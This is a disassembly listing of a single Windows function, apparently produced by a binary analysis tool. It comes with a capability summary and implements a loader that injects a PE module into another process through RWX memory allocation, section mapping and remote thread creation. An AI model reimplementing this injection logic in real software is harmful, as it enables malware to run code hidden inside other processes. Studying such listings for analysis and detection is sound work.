Function at 0x100095f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Map section object
Parse pe header
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
mov esi, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], esi
test esi, esi
je 0x10009b21
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10009b21
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
lea ecx, [eax + esi]
mov dword [ebp - 0x24], ecx
jne 0x10009b21
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ebx
and eax, 0x8000000
push edi
mov edi, 0
mov dword [ebp - 0x28], eax
cmovne edi, dword [ebp + 0x20]
mov dword [ebp - 0xc], edi
test edi, edi
je 0x10009659
add edi, 0xffff
and edi, 0xffff0000
mov dword [ebp - 0xc], edi
mov edx, dword [ebp + 0x10]
mov eax, ebx
shr eax, 0x12
mov ecx, esi
push 0
and eax, 0x1000
push 1
mov dword [ebp - 0x14], eax
call fcn.1000f9a0
mov ecx, eax
mov edx, 0x20b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
cmp word [eax + 0x18], dx
jne 0x1000968f
mov edx, dword [eax + 0x28]
mov dword [ebp - 0x24], edx
jmp 0x10009695
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
xor esi, esi
add eax, 0xffff
mov dword [ebp - 0x10], esi
add eax, ecx
and eax, 0xffff0000
mov dword [ebp - 0x18], eax
add eax, edi
mov edi, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp + 0xc], eax
test edi, edi
jne 0x100096f2
mov eax, dword fs:[0x18]
mov ecx, 0x5a4d
mov eax, dword [eax + 0x30]
mov edi, dword [eax + 0x1c]
and edi, 0xffff0000
cmp word [edi], cx
jne 0x100096ea
mov eax, dword [edi + 0x3c]
cmp eax, 0x1000
jae 0x100096ea
cmp dword [eax + edi], 0x4550
je 0x100096f2
sub edi, 0x10000
jmp 0x100096d2
push 0x40
push 0x1000
lea eax, [ebp + 0xc]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10003440
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 4], eax
test ebx, 0x100000
je 0x10009809
push 0x40
push 0x1000
lea eax, [ebp + 0xc]
push eax
push 0
lea eax, [ebp + 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
je 0x10009775
push dword [ebp + 0xc]
push eax
push str.NtAllocateVirtualMemory_failed__08X_:_Size_08X
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x14
mov eax, 0xfffffffa
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
test ebx, 0x10000000
je 0x1000979c
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
push eax
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push edi
call fcn.1000b080
test eax, eax
js 0x10009958
mov eax, dword [ebp + 0x18]
mov esi, ebx
mov edi, dword [ebp - 0xc]
shr esi, 0x18
and esi, 0xf
or esi, eax
test edi, edi
je 0x100097c4
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
mov dword [eax + ecx - 0x10], esi
mov eax, dword [ebp - 4]
mov dword [eax + ecx - 0xc], esi
mov eax, dword [ebp + 0x18]
lea ecx, [ebp + 0xc]
push ecx
push dword [ebp - 0x18]
push dword [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
je 0x100099aa
push dword [ebp + 0xc]
push eax
push str.NtWriteVirtualMemory_failed__08X_:_Size_08X
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x14
mov eax, 0xfffffff9
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
test ebx, 0x200000
je 0x100099a7
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
push 0
push 0x8000000
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push 0x40
push eax
lea eax, [ebp - 0x48]
movq qword [ebp - 0x38], xmm0
push eax
push 0xf001f
lea eax, [ebp + 0x1c]
mov dword [ebp + 0x1c], esi
movups xmmword [ebp - 0x48], xmm0
push eax
mov dword [ebp - 0x48], 0x18
mov dword [ebp - 0x2c], esi
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x10009881
push dword [ebp + 0xc]
push eax
push str.CreateMapping_failed__08X_:_Size_08X
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x14
mov eax, 0xfffffffe
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
push 0x40
push 0
push 1
lea eax, [ebp + 0xc]
mov dword [ebp + 0x20], esi
mov esi, dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push eax
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0x18]
push 0
push eax
push dword [ebp - 8]
push dword [ebp + 0x1c]
call esi
test eax, eax
je 0x100098df
push dword [ebp + 0x1c]
call dword [sym.imp.ntdll.dll_NtClose]
push dword [ebp + 0xc]
push dword [ebp + 0x18]
push str.Remote_MapSection_failed:_Addr_p__Size_08X
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x14
mov eax, 0xfffffffd
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
push 0x40
push 0
push 1
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0x20]
push 0
push eax
push 0xffffffffffffffff
push dword [ebp + 0x1c]
call esi
push dword [ebp + 0x1c]
mov esi, eax
call dword [sym.imp.ntdll.dll_NtClose]
test esi, esi
je 0x10009935
push dword [ebp + 0xc]
push dword [ebp + 0x20]
push str.Local_MapSection_failed:_Addr_p__Size_08X
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x14
mov eax, 0xfffffffc
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
test ebx, 0x10000000
je 0x10009966
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
push eax
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push edi
call fcn.1000b080
test eax, eax
jns 0x10009966
pop edi
pop ebx
mov eax, 0xfffffff8
pop esi
mov esp, ebp
pop ebp
ret 0x1c
push dword [ebp - 0x18]
mov esi, ebx
push dword [ebp - 4]
shr esi, 0x18
push dword [ebp + 0x20]
and esi, 0xf
or esi, dword [ebp + 0x18]
call fcn.10003440
mov edi, dword [ebp - 0xc]
add esp, 0xc
test edi, edi
je 0x1000999a
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp - 0x20]
mov dword [eax + ecx - 0x10], esi
mov eax, dword [ebp + 0x20]
mov dword [eax + ecx - 0xc], esi
push dword [ebp + 0x20]
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x100099aa
mov edi, dword [ebp - 0xc]
push 0x8000
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0
push eax
lea eax, [ebp - 4]
push eax
push 0
call dword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + 0x18]
add eax, edx
mov dword [ebp - 0x20], eax
test ebx, 0x300000
je 0x10009afe
mov eax, ebx
and eax, 0x3000000
cmp eax, 0x2000000
jne 0x10009afe
mov ecx, ebx
mov dword [ebp + 0x10], 0
shr ecx, 0x1d
and ecx, 4
mov dword [ebp + 8], 0
cmp dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], ecx
je 0x10009a4c
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], edi
test edi, edi
je 0x10009a24
mov eax, dword [ebp - 0x18]
add eax, edx
mov dword [ebp - 0x24], eax
mov edi, dword [ebp - 0x20]
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
xor eax, eax
test ecx, ecx
setne al
push eax
push dword [ebp - 8]
push esi
push esi
push edi
call fcn.1000ae70
jmp 0x10009a6c
mov edi, dword [ebp - 0x20]
lea eax, [ebp + 8]
push eax
push ecx
push esi
push edi
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp + 0x10], 0
push esi
push edi
jne 0x10009a9a
push eax
push str.Failed_to_create_a_remote_thread___08X_:_RemEntry_p__FlagArg_p
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x18
mov eax, 0xfffffffb
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
shr ebx, 0x1b
and ebx, 1
push ebx
push dword [ebp + 8]
push str.ThreadId_u__RawTh_u__RemEntry_p__FlagArg_p
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x1c
cmp dword [ebp - 0x1c], 0
je 0x10009af2
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 8]
call fcn.1000f840
test eax, eax
jns 0x10009ae7
push str.Failed_to_disable_the_thread_reports_
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0xc
push 0
push dword [ebp + 0x10]
call dword [sym.imp.ntdll.dll_NtResumeThread]
push dword [ebp + 0x10]
call dword [sym.imp.ntdll.dll_NtClose]
mov edx, dword [ebp + 0x18]
push edx
push str.RemoteAddr:__p
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x10
xor eax, eax
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x1c
push esi
push str.Bad_PE_image:_ModuleData_p
push str.NCMN::NInjLdr::InjModuleIntoProcessAndExec
push 0xf00
call fcn.10002ec0
add esp, 0x10
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0x1c